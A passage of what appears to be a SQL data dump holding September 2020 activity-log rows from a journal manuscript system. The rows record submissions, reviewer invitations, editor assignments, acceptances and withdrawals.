form',6065,'Author',7296),(49020,'2020-09-08 08:37:44','Manuscript Submitted by Author using Submission form',6067,'Author',7298),(49027,'2020-09-08 10:09:46','Manuscript Submitted by Author using Submission form',6069,'Author',7300),(49029,'2020-09-08 10:51:39','Publisher has Invited Reviewer',6013,'Publisher',85),(49030,'2020-09-08 10:51:40','Publisher has Invited Reviewer',6013,'Publisher',85),(49031,'2020-09-08 10:51:42','Publisher has Invited Reviewer',6013,'Publisher',85),(49032,'2020-09-08 10:51:42','Publisher has Invited Reviewer',6013,'Publisher',85),(49033,'2020-09-08 10:51:43','Publisher has Invited Reviewer',6013,'Publisher',85),(49037,'2020-09-08 12:09:17','Publisher has been Assigned Editor',6067,'Publisher',85),(49038,'2020-09-08 12:10:46','Publisher has Invited Reviewer',6067,'Publisher',85),(49039,'2020-09-08 12:10:47','Publisher has Invited Reviewer',6067,'Publisher',85),(49040,'2020-09-08 12:10:48','Publisher has Invited Reviewer',6067,'Publisher',85),(49041,'2020-09-08 12:10:49','Publisher has Invited Reviewer',6067,'Publisher',85),(49054,'2020-09-08 14:56:05','Reviewer has submitted comments',5734,'Reviewer',8997),(49055,'2020-09-08 14:57:49','Reviewer has submitted comments',6067,'Reviewer',8997),(49057,'2020-09-08 17:01:16','Manuscript Submitted by Author',6073,'Author',7306),(49076,'2020-09-09 04:29:30','Publisher has Invited Reviewer',6043,'Publisher',376),(49077,'2020-09-09 04:29:35','Publisher has Invited Reviewer',6043,'Publisher',376),(49078,'2020-09-09 04:29:39','Publisher has Invited Reviewer',6043,'Publisher',376),(49079,'2020-09-09 04:29:44','Publisher has Invited Reviewer',6043,'Publisher',376),(49124,'2020-09-09 06:58:59','Publisher has Invited Reviewer',5803,'Publisher',75),(49125,'2020-09-09 06:59:04','Publisher has Invited Reviewer',5803,'Publisher',75),(49126,'2020-09-09 06:59:43','Publisher has Invited Reviewer',5420,'Publisher',75),(49127,'2020-09-09 07:08:03','Reviewer has submitted comments',5803,'Reviewer',13225),(49128,'2020-09-09 07:29:31','Reviewer has submitted comments',5420,'Reviewer',13225),(49129,'2020-09-09 07:32:01','Publisher : Notified Editor',5803,'Publisher',75),(49130,'2020-09-09 07:32:29','Publisher : Notified Editor',5420,'Publisher',75),(49131,'2020-09-09 07:34:27','Publisher has been Accepted Articles  article',4915,'Publisher',75),(49132,'2020-09-09 07:35:19','Publisher has been Accepted Articles  article',4676,'Publisher',75),(49133,'2020-09-09 07:35:54','Publisher has been Accepted Articles  article',4665,'Publisher',75),(49134,'2020-09-09 07:36:29','Publisher has been Accepted Articles  article',4629,'Publisher',75),(49135,'2020-09-09 07:37:02','Publisher has been Accepted Articles  article',4719,'Publisher',75),(49151,'2020-09-09 13:14:35','Editor has been Editor Decision Accepted article',5803,'Editor',160),(49154,'2020-09-09 19:11:12','Manuscript Submitted by Author using Submission form',6085,'Author',7327),(49160,'2020-09-09 22:04:08','Manuscript Submitted by Author',6086,'Author',7316),(49171,'2020-09-10 02:49:11','Publisher: Accept Notification has been sent to Author',5803,'Publisher',75),(49173,'2020-09-10 03:32:55','Publisher has been Assigned Editor',6069,'Publisher',248),(49174,'2020-09-10 03:33:28','Publisher has been Withdrawn  article',6049,'Publisher',248),(49238,'2020-09-10 10:01:46','Reviewer has submitted comments',5994,'Reviewer',12513),(49242,'2020-09-10 11:11:29','Publisher has Invited Reviewer',6043,'Publisher',376),(49243,'2020-09-10 11:11:33','Publisher has Invited Reviewer',6043,'Publisher',376),(49244,'2020-09-10 11:11:38','Publisher has Invited Reviewer',6043,'Publisher',376),(49245,'2020-09-10 11:11:42','Publisher has Invited Reviewer',6043,'Publisher',376),(49254,'2020-09-11 02:46:23','Publisher has Invited Reviewer',5245,'Publisher',75),(49255,'2020-09-11 02:46:28','Publisher has Invited Reviewer',5245,'Publisher',75),(49256,'2020-09-11 02:46:32','Publisher has Invited Reviewer',5245,'Publisher',75),(49257,'2020-09-11 03:09:33','Reviewer has submitted comments',5245,'Reviewer',13225),(49258,'2020-09-11 03:13:34','Publisher : Notified Editor',5245,'Publisher',75),(49259,'2020-09-11 03:31:20','Publisher has been Withdrawn  article',6035,'Publisher',972),(49260,'2020-09-11 04:01:50','Manuscript Submitted by Author using Submission form',6096,'Author',7336),(49265,'2020-09-11 05:46:42','Publisher: Accept Notification has been sent to Author',5803,'Publisher',75),(49266,'2020-09-11 05:51:04','Editor has been Editor Decision Accepted article',5245,'Editor',162),(49267,'2020-09-11 05:52:58','Publisher: Accept Notification has been sent to Author',5245,'Publisher',75),(49279,'2020-09-11 07:39:04','Editor has been Editor Decision Accepted article',5332,'Editor',1067),(49280,'2020-09-11 07:39:45','Publisher: Accept Notification has been sent to Author',5332,'Publisher',319),(49290,'2020-09-11 09:29:41','Editor has Accepted to review Manuscript',5690,'Editor',1235),(49291,'2020-09-11 09:30:08','Editor has been Editor Decision Accepted article',5690,'Editor',1235),(49292,'2020-09-11 09:40:52','Publisher has been Accepted Articles  article',5690,'Publisher',274),(49293,'2020-09-11 09:47:05','Reviewer has submitted comments',5766,'Reviewer',12971),(49294,'2020-09-11 09:48:01','Editor has Accepted to review Manuscript',5766,'Editor',1235),(49295,'2020-09-11 09:48:19','Editor has been Editor Decision Accepted article',5766,'Editor',1235),(49297,'2020-09-11 10:07:22','Publisher has been Assigned Editor',6086,'Publisher',85),(49301,'2020-09-11 10:12:57','Publisher has Invited Reviewer',6086,'Publisher',85),(49302,'2020-09-11 10:12:58','Publisher has Invited Reviewer',6086,'Publisher',85),(49303,'2020-09-11 10:12:58','Publisher has Invited Reviewer',6086,'Publisher',85),(49304,'2020-09-11 10:13:00','Publisher has Invited Reviewer',6086,'Publisher',85),(49305,'2020-09-11 10:13:01','Publisher has Invited Reviewer',6086,'Publisher',85),(49306,'2020-09-11 10:13:01','Publisher has Invited Reviewer',6086,'Publisher',85),(49307,'2020-09-11 10:13:02','Publisher has Invited Reviewer',6086,'Publisher',85),(49312,'2020-09-11 10:24:36','Publisher has Invited Reviewer',6086,'Publisher',85),(49313,'2020-09-11 10:25:45','Publisher has Invited Reviewer',6067,'Publisher',85),(49314,'2020-09-11 10:26:43','Publisher has Invited Reviewer',6067,'Publisher',85),(49315,'2020-09-11 10:27:47','Publisher has Invited Reviewer',6067,'Publisher',85),(49316,'2020-09-11 10:29:41','Publisher has Invited Reviewer',6067,'Publisher',85),(49317,'2020-09-11 10:30:42','Publisher has Invited Reviewer',6067,'Publisher',85),(49324,'2020-09-11 10:54:14','Publisher has Invited Reviewer',6086,'Publisher',85),(49325,'2020-09-11 10:54:15','Publisher has Invited Reviewer',6086,'Publisher',85),(49326,'2020-09-11 10:54:16','Publisher has Invited Reviewer',6086,'Publisher',85),(49329,'2020-09-11 12:44:27','Publisher has Invited Reviewer',6013,'Publisher',85),(49330,'2020-09-11 12:44:28','Publisher has Invited Reviewer',6013,'Publisher',85),(49331,'2020-09-11 12:44:29','Publisher has Invited Reviewer',6013,'Publisher',85),(49332,'2020-09-11 12:44:30','Publisher has Invited Reviewer',6013,'Publisher',85),(49333,'2020-09-11 12:44:31','Publisher has Invited Reviewer',6013,'Publisher',85),(49334,'2020-09-11 12:44:32','Publisher has Invited Reviewer',6013,'Publisher',85),(49375,'2020-09-12 08:20:52','Publisher : Notified Editor',5994,'Publisher',85),(49376,'2020-09-12 08:21:16','Editor has Accepted to review Manuscript',5994,'Editor',1343),(49377,'2020-09-12 08:21:38','Editor has been Editor Decision Accepted article',5994,'Editor',1343),(49378,'2020-09-12 08:24:20','Publisher : Notified Author',5481,'Publisher',85),(49379,'2020-09-12 08:24:56','Publisher : Notified Editor',5734,'Publisher',85),(49380,'2020-09-12 08:25:21','Editor has Accepted to review Manuscript',5734,'Editor',1394),(49381,'2020-09-12 08:25:32','Editor has been Editor Decision Accepted article',5734,'Editor',1394),(49394,'2020-09-14 03:07:02','Reviewer has submitted comments',5174,'Reviewer',9109),(49395,'2020-09-14 03:07:43','Publisher : Notified Editor',5174,'Publisher',248),(49396,'2020-09-14 03:08:46','Editor has Accepted to review Manuscript',5174,'Editor',358),(49397,'2020-09-14 03:09:12','Editor has been Editor Decision Accepted article',5174,'Editor',358),(49398,'2020-09-14 03:09:48','Publisher: Accept Notification has been sent to Author',5174,'Publisher',248),(49399,'2020-09-14 03:10:38','Publisher has Invited Reviewer',5589,'Publisher',248),(49400,'2020-09-14 03:10:39','Publisher has Invited Reviewer',5589,'Publisher',248),(49401,'2020-09-14 03:10:39','Publisher has Invited Reviewer',5589,'Publisher',248),(49402,'2020-09-14 03:10:40','Publisher has Invited Reviewer',5589,'Publisher',248),(49403,'2020-09-14 03:10:41','Publisher has Invited Reviewer',5589,'Publisher',248),(49404,'2020-09-14 03:11:27','Publisher has Invited Reviewer',5912,'Publisher',248),(49405,'2020-09-14 03:11:28','Publisher has Invited Reviewer',5912,'Publisher',248),(49406,'2020-09-14 03:11:29','Publisher has Invited Reviewer',5912,'Publisher',248),(49407,'2020-09-14 03:11:30','Publisher has Invited Reviewer',5912,'Publisher',248),(49408,'2020-09-14 03:11:31','Publisher has Invited Reviewer',5912,'Publisher',248),(49409,'2020-09-14 03:11:32','Publisher has Invited Reviewer',5912,'Publisher',248),(49410,'2020-09-14 03:12:03','Publisher has Invited Reviewer',5914,'Publisher',248),(49411,'2020-09-14 03:12:03','Publisher has Invited Reviewer',5914,'Publisher',248),(49412,'2020-09-14 03:12:04','Publisher has Invited Reviewer',5914,'Publisher',248),(49413,'2020-09-14 03:12:05','Publisher has Invited Reviewer',5914,'Publisher',248),(49414,'2020-09-14 03:12:06','Publisher has Invited Reviewer',5914,'Publisher',248),(49415,'2020-09-14 03:12:57','Publisher has Invited Reviewer',5922,'Publisher',248),(49416,'2020-09-14 03:12:57','Publisher has Invited Reviewer',5922,'Publisher',248),(49417,'2020-09-14 03:12:58','Publisher has Invited Reviewer',5922,'Publisher',248),(49418,'2020-09-14 03:12:59','Publisher has Invited Reviewer',5922,'Publisher',248),(49419,'2020-09-14 03:13:25','Publisher has Invited Reviewer',5962,'Publisher',248),(49420,'2020-09-14 03:13:26','Publisher has Invited Reviewer',5962,'Publisher',248),(49421,'2020-09-14 03:13:26','Publisher has Invited Reviewer',5962,'Publisher',248),(49451,'2020-09-14 05:03:37','Publisher has been Accepted Articles  article',5174,'Publisher',248),(49452,'2020-09-14 05:05:48','Publisher has been Assigned Editor',6085,'Publisher',376),(49453,'2020-09-14 05:19:59','Reviewer has submitted comments',5589,'Reviewer',9915),(49454,'2020-09-14 05:23:00','Editor has Accepted to review Manuscript',5589,'Editor',358),(49455,'2020-09-14 05:23:23','Editor has been Editor Decision Accepted article',5589,'Editor',358),(49456,'2020-09-14 05:23:51','Publisher: Accept Notification has been sent to Author',5589,'Publisher',248),(49457,'2020-09-14 05:49:24','Publisher has been Assigned Editor',6096,'Publisher',75),(49458,'2020-09-14 05:49:45','Publisher has been Assigned Editor',6065,'Publisher',75),(49459,'2020-09-14 05:51:49','Publisher has been Accepted Articles  article',5589,'Publisher',248),(49462,'2020-09-14 06:19:58','Reviewer has submitted comments',5922,'Reviewer',8599),(49463,'2020-09-14 06:20:31','Publisher : Notified Editor',5922,'Publisher',248),(49464,'2020-09-14 06:21:20','Editor has Accepted to review Manuscript',5922,'Editor',358),(49465,'2020-09-14 06:21:36','Editor has been Editor Decision Accepted article',5922,'Editor',358),(49466,'2020-09-14 06:22:08','Publisher: Accept Notification has been sent to Author',5922,'Publisher',248),(49467,'2020-09-14 06:22:21','Publisher has been Accepted Articles  article',5922,'Publisher',248),(49481,'2020-09-14 07:57:06','Publisher has been Accepted Articles  article',5833,'Publisher',319),(49558,'2020-09-14 12:34:56','Manuscript Submitted by Author using Submission form',6114,'Author',7358),(49610,'2020-09-15 04:38:01','Publisher: Accept Notification has been sent to Author',5994,'Publisher',85),(49678,'2020-09-15 06:47:44','Editor has Accepted to review Manuscript',6090,'Editor',194),(49679,'2020-09-15 06:47:56','Editor has been Editor Decision Accepted article',6090,'Editor',194),(49684,'2020-09-15 06:48:54','Editor has Accepted to review Manuscript',6017,'Editor',194),(49685,'2020-09-15 06:49:07','Editor has been Editor Decision Accepted article',6017,'Editor',194),(49687,'2020-09-15 08:58:01','Publisher has been Assigned Editor',5550,'Publisher',988),(49688,'2020-09-15 08:58:29','Publisher has been Assigned Editor',5747,'Publisher',988),(49689,'2020-09-15 08:58:54','Publisher has been Assigned Editor',6041,'Publisher',988),(49690,'2020-09-15 08:59:25','Publisher has been Assigned Editor',6058,'Publisher',988),(49691,'2020-09-15 08:59:53','Publisher has been Assigned Editor',5857,'Publisher',988),(49731,'2020-09-15 13:12:38','Publisher has Invited Reviewer',6085,'Publisher',376),(49732,'2020-09-15 13:12:42','Publisher has Invited Reviewer',6085,'Publisher',376),(49733,'2020-09-15 13:12:47','Publisher has Invited Reviewer',6085,'Publisher',376),(49734,'2020-09-15 13:12:51','Publisher has Invited Reviewer',6085,'Publisher',376),(49735,'2020-09-15 13:13:44','Publisher has Invited Reviewer',6043,'Publisher',376),(49736,'2020-09-15 13:13:48','Publisher has Invited Reviewer',6043,'Publisher',376),(49737,'2020-09-15 13:13:53','Publisher has Invited Reviewer',6043,'Publisher',376),(49738,'2020-09-15 13:13:57','Publisher has Invited Reviewer',6043,'Publisher',376),(49766,'2020-09-15 16:48:53','Manuscript Submitted by Author using Submission form',6139,'Author',7374),(49815,'2020-09-16 05:25:06','Publisher has been Accepted Articles  article',5766,'Publisher',274),(49884,'2020-09-16 13:06:00','Manuscript Submitted by Author using Submission form',6153,'Author',7386),(49890,'2020-09-16 17:25:54','Author sent Email',5734,'Author',6959),(49901,'2020-09-17 03:40:42','Publisher has been Assigned Editor',6139,'Publisher',376),(49951,'2020-09-17 10:59:35','Manuscript Submitted by Author using Submission form',6160,'Author',7394),(49981,'2020-09-17 14:29:22','Publisher has been Assigned Editor',6153,'Publisher',85),(49982,'2020-09-17 14:43:40','Author sent Email',5245,'Author',6436),(49983,'2020-09-17 15:30:24','Publisher has Invited Reviewer',6153,'Publisher',85),(49984,'2020-09-17 15:30:25','Publisher has Invited Reviewer',6153,'Publisher',85),(49985,'2020-09-17 15:30:26','Publisher has Invited Reviewer',6153,'Publisher',85),(49986,'2020-09-17 15:30:28','Publisher has Invited Reviewer',6153,'Publisher',85),(49987,'2020-09-17 15:30:30','Publisher has Invited Reviewer',6153,'Publisher',85),(49988,'2020-09-17 15:30:31','Publisher has Invited Reviewer',6153,'Publisher',85),(49989,'2020-09-17 15:30:32','Publisher has Invited Reviewer',6153,'Publisher',85),(49990,'2020-09-17 15:30:34','Publisher has Invited Reviewer',6153,'Publisher',85),(49991,'2020-09-17 15:30:35','Publisher has Invited Reviewer',6153,'Publisher',85),(49992,'2020-09-17 15:30:37','Publisher has Invited Reviewer',6153,'Publisher',85),(49993,'2020-09-17 15:30:38','Publisher has Invited Reviewer',6153,'Publisher',85),(49994,'2020-09-17 15:30:40','Publisher has Invited Reviewer',6153,'Publisher',85),(49995,'2020-09-17 15:30:42','Publisher has Invited Reviewer',6153,'Publisher',85),(49996,'2020-09-17 17:43:22','Manuscript Submitted by Author',6165,'Author',7399),(50009,'2020-09-18 05:44:37','Publisher has Invited Reviewer',6139,'Publisher',376),(50010,'2020-09-18 05:44:41','Publisher has Invited Reviewer',6139,'Publisher',376),(50011,'2020-09-18 05:44:46','Publisher has Invited Reviewer',6139,'Publisher',376),(50012,'2020-09-18 05:44:51','Publisher has Invited Reviewer',6139,'Publisher',376),(50014,'2020-09-18 06:09:52','Publisher: Accept Notification has been sent to Author',5734,'Publisher',85),(50044,'2020-09-18 12:14:31','Publisher has been Assigned Editor',6165,'Publisher',376),(50068,'2020-09-19 03:50:01','Publisher has been Assigned Editor',6160,'Publisher',319),(50078,'2020-09-19 04:24:09','Editor has Accepted to review Manuscript',6160,'Editor',1067),(50109,'2020-09-19 07:53:08','Manuscript Submitted by Author using Submission form',6170,'Author',7407),(50128,'2020-09-21 02:43:49','Publisher has Invited Reviewer',6046,'Publisher',75),(50129,'2020-09-21 02:43:54','Publisher has Invited Reviewer',6046,'Publisher',75),(50130,'2020-09-21 02:43:59','Publisher has Invited Reviewer',6046,'Publisher',75),(50131,'2020-09-21 02:44:33','Publisher has Invited Reviewer',6065,'Publisher',75),(50132,'2020-09-21 02:44:37','Publisher has Invited Reviewer',6065,'Publisher',75),(50133,'2020-09-21 02:44:42','Publisher has Invited Reviewer',6065,'Publisher',75),(50134,'2020-09-21 02:44:46','Publisher has Invited Reviewer',6065,'Publisher',75),(50135,'2020-09-21 02:45:18','Publisher has Invited Reviewer',6096,'Publisher',75),(50136,'2020-09-21 02:45:25','Publisher has Invited Reviewer',6096,'Publisher',75),(50137,'2020-09-21 02:45:29','Publisher has Invited Reviewer',6096,'Publisher',75),(50138,'2020-09-21 02:45:34','Publisher has Invited Reviewer',6096,'Publisher',75),(50139,'2020-09-21 02:45:38','Publisher has Invited Reviewer',6096,'Publisher',75),(50140,'2020-09-21 02:45:43','Publisher has Invited Reviewer',6096,'Publisher',75),(50141,'2020-09-21 03:34:10','Editor has Accepted to review Manuscript',6125,'Editor',194),(50142,'2020-09-21 03:34:20','Editor has been Editor Decision Accepted article',6125,'Editor',194),(50143,'2020-09-21 03:34:30','Editor has Accepted to review Manuscript',6126,'Editor',194),(50144,'2020-09-21 03:34:41','Editor has been Editor Decision Accepted article',6126,'Editor',194),(50145,'2020-09-21 03:34:51','Editor has Accepted to review Manuscript',6128,'Editor',194),(50146,'2020-09-21 03:35:02','Editor has been Editor Decision Accepted article',6128,'Editor',194),(50147,'2020-09-21 03:35:17','Editor has Accepted to review Manuscript',6143,'Editor',194),(50148,'2020-09-21 03:35:29','Editor has been Editor Decision Accepted article',6143,'Editor',194),(50235,'2020-09-21 10:26:41','Manuscript Submitted by Author using Submission form',6181,'Author',7421),(50263,'2020-09-21 12:58:28','Publisher has Invited Reviewer',6165,'Publisher',376),(50264,'2020-09-21 12:58:32','Publisher has Invited Reviewer',6165,'Publisher',376),(50265,'2020-09-21 12:58:37','Publisher has Invited Reviewer',6165,'Publisher',376),(50266,'2020-09-21 12:58:41','Publisher has Invited Reviewer',6165,'Publisher',376),(50267,'2020-09-21 12:59:08','Publisher has Invited Reviewer',6139,'Publisher',376),(50268,'2020-09-21 12:59:35','Publisher has Invited Reviewer',6085,'Publisher',376),(50269,'2020-09-21 12:59:40','Publisher has Invited Reviewer',6085,'Publisher',376),(50270,'2020-09-21 13:00:11','Publisher has Invited Reviewer',6043,'Publisher',376),(50276,'2020-09-21 14:25:22','Editor has Accepted to review Manuscript',5796,'Editor',1235),(50277,'2020-09-21 14:25:41','Editor has been Editor Decision Accepted article',5796,'Editor',1235),(50278,'2020-09-21 14:25:54','Editor has Accepted to review Manuscript',5797,'Editor',1235),(50279,'2020-09-21 14:26:10','Editor has been Editor Decision Accepted article',5797,'Editor',1235),(50286,'2020-09-21 21:26:24','Reviewer has submitted comments',6035,'Reviewer',10393),(50287,'2020-09-22 03:14:53','Editor has Accepted to review Manuscript',6144,'Editor',194),(50288,'2020-09-22 03:15:04','Editor has been Editor Decision Accepted article',6144,'Editor',194),(50289,'2020-09-22 03:15:11','Editor has Accepted to review Manuscript',6145,'Editor',194),(50290,'2020-09-22 03:15:22','Editor has been Editor Decision Accepted article',6145,'Editor',194),(50291,'2020-09-22 03:15:28','Editor has Accepted to review Manuscript',6146,'Editor',194),(50292,'2020-09-22 03:15:40','Editor has been Editor Decision Accepted article',6146,'Editor',194),(50300,'2020-09-22 04:58:55','Publisher has Invited Reviewer',6160,'Publisher',319),(50301,'2020-09-22 04:58:56','Publisher has Invited Reviewer',6160,'Publisher',319),(50302,'2020-09-22 04:58:57','Publisher has Invited Reviewer',6160,'Publisher',319),(50304,'2020-09-22 05:09:03','Publisher has Invited Reviewer',6013,'Publisher',85),(50305,'2020-09-22 05:09:04','Publisher has Invited Reviewer',6013,'Publisher',85),(50306,'2020-09-22 05:09:05','Publisher has Invited Reviewer',6013,'Publisher',85),(50307,'2020-09-22 05:10:28','Publisher has Invited Reviewer',6153,'Publisher',85),(50308,'2020-09-22 05:10:29','Publisher has Invited Reviewer',6153,'Publisher',85),(50309,'2020-09-22 05:10:30','Publisher has Invited Reviewer',6153,'Publisher',85),(50310,'2020-09-22 05:10:48','Publisher has Invited Reviewer',6153,'Publisher',85),(50311,'2020-09-22 05:10:49','Publisher has Invited Reviewer',6153,'Publisher',85),(50312,'2020-09-22 05:10:50','Publisher has Invited Reviewer',6153,'Publisher',85),(50313,'2020-09-22 05:11:56','Publisher has Invited Reviewer',6067,'Publisher',85),(50314,'2020-09-22 05:11:57','Publisher has Invited Reviewer',6067,'Publisher',85),(50315,'2020-09-22 05:11:58','Publisher has Invited Reviewer',6067,'Publisher',85),(50316,'2020-09-22 05:11:59','Publisher has Invited Reviewer',6067,'Publisher',85),(50317,'2020-09-22 05:11:59','Publisher has Invited Reviewer',6067,'Publisher',85),(50318,'2020-09-22 05:25:55','Manuscript Submitted by Author',6189,'Author',7431),(50319,'2020-09-22 05:36:51','Publisher has been Assigned Editor',6170,'Publisher',988),(50326,'2020-09-22 06:00:18','Reviewer has submitted comments',5914,'Reviewer',9108),(50327,'2020-09-22 06:01:18','Publisher : Notified Editor',5914,'Publisher',248),(50328,'2020-09-22 06:02:15','Editor has Accepted to review Manuscript',5914,'Editor',359),(50329,'2020-09-22 06:02:28','Editor has been Editor Decision Accepted article',5914,'Editor',359),(50330,'2020-09-22 06:03:01','Publisher: Accept Notification has been sent to Author',5914,'Publisher',248),(50331,'2020-09-22 06:03:28','Publisher has been Accepted Articles  article',5914,'Publisher',248),(50343,'2020-09-22 07:25:38','Manuscript Submitted by Author using Submission form',6191,'Author',7435),(50350,'2020-09-22 08:37:31','Publisher has Invited Reviewer',6067,'Publisher',85),(50351,'2020-09-22 08:37:33','Publisher has Invited Reviewer',6067,'Publisher',85),(50352,'2020-09-22 08:37:34','Publisher has Invited Reviewer',6067,'Publisher',85),(50353,'2020-09-22 08:37:35','Publisher has Invited Reviewer',6067,'Publisher',85),(50354,'2020-09-22 08:37:36','Publisher has Invited Reviewer',6067,'Publisher',85),(50355,'2020-09-22 08:50:31','Publisher has been Assigned Editor',6189,'Publisher',274),(50365,'2020-09-22 11:08:34','Publisher has been Accepted Articles  article',5797,'Publisher',274),(50366,'2020-09-22 11:08:43','Publisher has been Accepted Articles  article',5796,'Publisher',274),(50396,'2020-09-22 12:47:55','Reviewer has submitted comments',6160,'Reviewer',12875),(50404,'2020-09-22 13:43:57','Publisher has Invited Reviewer',6013,'Publisher',85),(50405,'2020-09-22 13:43:58','Publisher has Invited Reviewer',6013,'Publisher',85),(50406,'2020-09-22 13:44:17','Publisher has Invited Reviewer',6013,'Publisher',85),(50407,'2020-09-22 13:44:18','Publisher has Invited Reviewer',6013,'Publisher',85),(50408,'2020-09-22 13:44:19','Publisher has Invited Reviewer',6013,'Publisher',85),(50409,'2020-09-22 13:47:43','Publisher has Invited Reviewer',6013,'Publisher',85),(50413,'2020-09-22 17:40:09','Author sent Email',5989,'Author',7218),(50414,'2020-09-22 19:31:18','Reviewer has submitted comments',6013,'Reviewer',13236),(50416,'2020-09-23 02:19:49','Publisher has been Assigned Editor',6181,'Publisher',75),(50434,'2020-09-23 04:38:23','Publisher : Notified Editor',6013,'Publisher',85),(50437,'2020-09-23 05:39:46','Publisher: Accept Notification has been sent to Author',5245,'Publisher',75),(50438,'2020-09-23 05:39:51','Publisher has been Accepted Articles  article',5245,'Publisher',75),(50439,'2020-09-23 05:40:08','Publisher has been Accepted Articles  article',5803,'Publisher',75),(50440,'2020-09-23 05:42:09','Publisher has been Withdrawn  article',4739,'Publisher',75),(50500,'2020-09-23 08:49:46','Publisher has Invited Reviewer',6170,'Publisher',988),(50501,'2020-09-23 08:49:50','Publisher has Invited Reviewer',6170,'Publisher',988),(50502,'2020-09-23 08:50:28','Publisher has Invited Reviewer',6058,'Publisher',988),(50503,'2020-09-23 08:50:32','Publisher has Invited Reviewer',6058,'Publisher',988),(50504,'2020-09-23 08:51:09','Publisher has Invited Reviewer',6041,'Publisher',988),(50505,'2020-09-23 08:51:13','Publisher has Invited Reviewer',6041,'Publisher',988),(50506,'2020-09-23 08:51:34','Manuscript Submitted by Author using Submission form',6204,'Author',7449),(50507,'2020-09-23 08:51:35','Publisher has Invited Reviewer',5857,'Publisher',988),(50508,'2020-09-23 08:51:39','Publisher has Invited Reviewer',5857,'Publisher',988),(50509,'2020-09-23 08:52:08','Publisher has Invited Reviewer',5747,'Publisher',988),(50510,'2020-09-23 08:52:13','Publisher has Invited Reviewer',5747,'Publisher',988),(50511,'2020-09-23 08:52:42','Publisher has Invited Reviewer',5550,'Publisher',988),(50512,'2020-09-23 08:52:47','Publisher has Invited Reviewer',5550,'Publisher',988),(50553,'2020-09-23 11:42:25','Editor has Accepted to review Manuscript',6013,'Editor',1408),(50554,'2020-09-23 11:42:42','Editor has been Editor Decision Accepted article',6013,'Editor',1408),(50574,'2020-09-24 04:45:42','Publisher has been Assigned Editor',6191,'Publisher',248),(50579,'2020-09-24 09:21:17','Publisher: Accept Notification has been sent to Author',6013,'Publisher',85),(50598,'2020-09-24 15:27:30','Manuscript Submitted by Author using Submission form',6213,'Author',7459),(50605,'2020-09-24 20:11:14','Manuscript Submitted by Author using Submission form',6217,'Author',7463),(50689,'2020-09-25 10:31:02','Publisher has been Assigned Editor',6213,'Publisher',988),(50690,'2020-09-25 10:31:39','Publisher has Invited Reviewer',6213,'Publisher',988),(50691,'2020-09-25 10:31:44','Publisher has Invited Reviewer',6213,'Publisher',988),(50706,'2020-09-25 13:39:27','Publisher has been Assigned Editor',6217,'Publisher',85),(50707,'2020-09-25 13:42:43','Publisher has Invited Reviewer',6217,'Publisher',85),(50708,'2020-09-25 13:42:44','Publisher has Invited Reviewer',6217,'Publisher',85),(50709,'2020-09-25 13:42:45','Publisher has Invited Reviewer',6217,'Publisher',85),(50710,'2020-09-25 13:42:46','Publisher has Invited Reviewer',6217,'Publisher',85),(50711,'2020-09-25 13:42:47','Publisher has Invited Reviewer',6217,'Publisher',85),(50712,'2020-09-25 13:42:48','Publisher has Invited Reviewer',6217,'Publisher',85),(50713,'2020-09-25 13:42:49','Publisher has Invited Reviewer',6217,'Publisher',85),(50714,'2020-09-25 13:42:50','Publisher has Invited Reviewer',6217,'Publisher',85),(50715,'2020-09-25 13:42:51','Publisher has Invited Reviewer',6217,'Publisher',85),(50716,'2020-09-25 13:42:52','Publisher has Invited Reviewer',6217,'Publisher',85),(50717,'2020-09-25 13:42:53','Publisher has Invited Reviewer',6217,'Publisher',85),(50718,'2020-09-25 13:49:18','Publisher has Invited Reviewer',6217,'Publisher',85),(50719,'2020-09-25 13:49:19','Publisher has Invited Reviewer',6217,'Publisher',85),(50720,'2020-09-25 13:49:20','Publisher has Invited Reviewer',6217,'Publisher',85),(50721,'2020-09-25 14:14:04','Reviewer has updated comments',5156,'Reviewer',7023),(50722,'2020-09-25 14:30:07','Publisher has Invited Reviewer',6165,'Publisher',376),(50723,'2020-09-25 14:30:11','Publisher has Invited Reviewer',6165,'Publisher',376),(50724,'2020-09-25 14:30:40','Publisher has Invited Reviewer',6139,'Publisher',376),(50725,'2020-09-25 14:30:44','Publisher has Invited Reviewer',6139,'Publisher',376),(50726,'2020-09-25 14:31:12','Publisher has Invited Reviewer',6085,'Publisher',376),(50727,'2020-09-25 14:31:17','Publisher has Invited Reviewer',6085,'Publisher',376),(50728,'2020-09-25 14:31:44','Publisher has Invited Reviewer',6043,'Publisher',376),(50729,'2020-09-25 14:31:49','Publisher has Invited Reviewer',6043,'Publisher',376),(50733,'2020-09-25 21:36:00','Manuscript Submitted by Author using Submission form',6223,'Author',7470),(50754,'2020-09-26 11:13:29','Publisher has been Assigned Editor',6223,'Publisher',988),(50755,'2020-09-26 11:14:01','Publisher has Invited Reviewer',6223,'Publisher',988),(50756,'2020-09-26 11:14:05','Publisher has Invited Reviewer',6223,'Publisher',988),(50757,'2020-09-26 12:04:25','Manuscript Submitted by Author using Submission form',6227,'Author',7474),(50759,'2020-09-26 13:15:00','Manuscript Submitted by Author using Submission form',6229,'Author',7476),(50773,'2020-09-26 18:39:32','Manuscript Submitted by Author using Submission form',6232,'Author',7480),(50774,'2020-09-26 22:48:10','Manuscript Submitted by Author',6234,'Author',7482),(50775,'2020-09-27 01:32:40','Manuscript Submitted by Author using Submission form',6235,'Author',7483),(50777,'2020-09-27 05:49:31','Manuscript Submitted by Author using Submission form',6237,'Author',7485),(50778,'2020-09-27 12:18:29','Manuscript Submitted by Author using Submission form',6239,'Author',7487),(50798,'2020-09-27 18:22:09','Manuscript Submitted by Author using Submission form',6242,'Author',7490),(50803,'2020-09-28 03:41:25','Publisher has been Assigned Editor',6204,'Publisher',319),(50804,'2020-09-28 03:47:29','Publisher has Invited Reviewer',6204,'Publisher',319),(50805,'2020-09-28 03:47:30','Publisher has Invited Reviewer',6204,'Publisher',319),(50806,'2020-09-28 03:47:30','Publisher has Invited Reviewer',6204,'Publisher',319),(50807,'2020-09-28 03:47:32','Publisher has Invited Reviewer',6204,'Publisher',319),(50808,'2020-09-28 03:47:32','Publisher has Invited Reviewer',6204,'Publisher',319),(50809,'2020-09-28 03:47:33','Publisher has Invited Reviewer',6204,'Publisher',319),(50810,'2020-09-28 03:47:34','Publisher has Invited Reviewer',6204,'Publisher',319),(50811,'2020-09-28 03:47:35','Publisher has Invited Reviewer',6204,'Publisher',319),(50812,'2020-09-28 03:47:36','Publisher has Invited Reviewer',6204,'Publisher',319),(50813,'2020-09-28 04:02:43','Editor has Accepted to review Manuscript',6204,'Editor',1067),(50822,'2020-09-28 05:51:45','Publisher has been Withdrawn  